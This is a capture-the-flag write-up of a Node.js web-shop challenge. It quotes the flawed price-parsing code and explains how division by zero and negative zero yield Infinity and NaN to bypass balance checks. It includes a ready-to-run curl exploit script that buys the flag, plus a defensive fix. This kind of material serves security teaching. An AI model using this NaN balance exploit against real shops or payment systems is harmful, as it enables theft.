Coins
Coins
Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Medium | OS: N/A | **Author: XESXOR Techniques: Division by zero exploitation, JavaScript comparison quirks, NaN balance manipulation
Summary
Walkthrough of the CUSTOM Web Coins. Task: Web shop with JavaScript/Node.js backend where user controls divisor in price calculation. Solution: Exploit division by zero (1/0 and 1/-0) to create Infinity values, then combine them to get N
Description
Какое везение: вы нашли на берегу пальму с сочными биткоинами. Пора запасаться: пока никто не видит, трясите пальму и собирайте солидный портфель на нисходящем тренде. Берите все до единого — только так получится купить флаг.
Analysis
Node.js web application with two shops:
- Main: fruits (BananaCoin, CocoCoin, MangoCoin) priced at 50,000-120,000 satoshi
- VIP: flag for 999,999,999 satoshi
- Starting balance: 0
Key Code
The parseSlice() function parses a fraction to calculate the price:
javascript read-only • copy allowedfunction parseSlice(sliceCode) { if (typeof sliceCode !== "string") return null; const parts = sliceCode.split("/"); if (parts.length !== 2) return null; const left = parts[0].trim(); const right = parts[1].trim(); const numN = Number(left); const denN = Number(right); if (!Number.isFinite(numN) || !Number.isFinite(denN)) return null; if (!Number.isInteger(numN) || !Number.isInteger(denN)) return null; if (numN < 0) return null; // Only numerator is checked! // NO check: den > 0 or den != 0 return { code: `${numN}/${denN}`, num: numN, den: denN }; }
Item price is calculated as:
javascript read-only • copy allowedconst line = (item.priceSats * parsed.num) / parsed.den;
Balance check at checkout:
javascript read-only • copy allowedif (!(session.balanceSats < total)) { session.balanceSats -= total; // ... }
Vulnerability
Problem 1: Division by Zero
Number.isFinite(0) returns true, so sliceCode = "1/0" passes validation.
When calculating price: 120000 * 1 / 0 = Infinity
Problem 2: Negative Zero in JavaScript
In JavaScript -0 is a distinct value:
Number.isFinite(-0)=trueNumber.isInteger(-0)=true1 / -0=-Infinity
Problem 3: NaN from Adding Infinity Values
javascript read-only • copy allowedInfinity + (-Infinity) = NaN
Problem 4: Comparison with NaN
In JavaScript any comparison with NaN returns false:
javascript read-only • copy allowedNaN < 0 // false NaN > 0 // false NaN >= 0 // false NaN < 999999999 // false !(NaN < 999999999) // true!
Exploitation (NaN Balance Attack)
sliceCode = "1/0"→ price =InfinitysliceCode = "1/-0"→ price =-Infinity- At checkout-main:
total = Infinity + (-Infinity) = NaN - Check
if (total < 0)passes becauseNaN < 0=false - Check
if (!(balance < total))passes because!(0 < NaN)=!(false)=true balance -= NaN→balance = NaN- When buying the flag:
!(NaN < 999999999)=true— purchase succeeds!
Solution
bash read-only • copy allowed#!/bin/bash # Exploit for coins challenge - NaN balance attack BASE_URL="https://coins-70whdd7p.alfactf.ru" COOKIES="/tmp/coins_cookies.txt" echo "[*] Getting session..." curl -s "$BASE_URL/init" -c "$COOKIES" > /dev/null echo "[*] Adding +Infinity item (1/0)..." curl -s "$BASE_URL/basket/add" -b "$COOKIES" -c "$COOKIES" \ -X POST -d "sku=MANGO&sliceCode=1/0" > /dev/null echo "[*] Adding -Infinity item (1/-0)..." curl -s "$BASE_URL/basket/add" -b "$COOKIES" -c "$COOKIES" \ -X POST -d "sku=MANGO&sliceCode=1/-0" > /dev/null echo "[*] Checkout main (total = NaN, balance becomes NaN)..." curl -s "$BASE_URL/checkout-main" -b "$COOKIES" -c "$COOKIES" \ -X POST > /dev/null echo "[*] Adding FLAG to VIP basket..." curl -s "$BASE_URL/vip/basket/add" -b "$COOKIES" -c "$COOKIES" \ -X POST -d "sku=FLAG" > /dev/null echo "[*] Checkout VIP (NaN >= 999999999 is true!)..." RESULT=$(curl -s "$BASE_URL/checkout-vip" -b "$COOKIES" -c "$COOKIES" -X POST) echo "[+] Result: $RESULT" # {"ok":true,"newBalanceSats":"NaN","flag":"alfa{REDACTED}"}
Defense
Proper validation:
javascript read-only • copy allowedif (denN <= 0) return null; // Disallow zero and negative values
Or use safe comparison:
javascript read-only • copy allowedif (Number.isNaN(total) || total < 0) return error; if (Number.isNaN(balance) || balance < total) return error;
References
- JavaScript NaN comparison
- Signed zero in JavaScript
Key Takeaways / Lessons
- Mastering Division by zero exploitation, JavaScript comparison quirks, NaN balance manipulation was key to this challenge.
- Always check for common misconfigurations and verify assumptions.
Crafted by XESXOR Research • 2025-12-19 • CUSTOM • Coins • Difficulty: Medium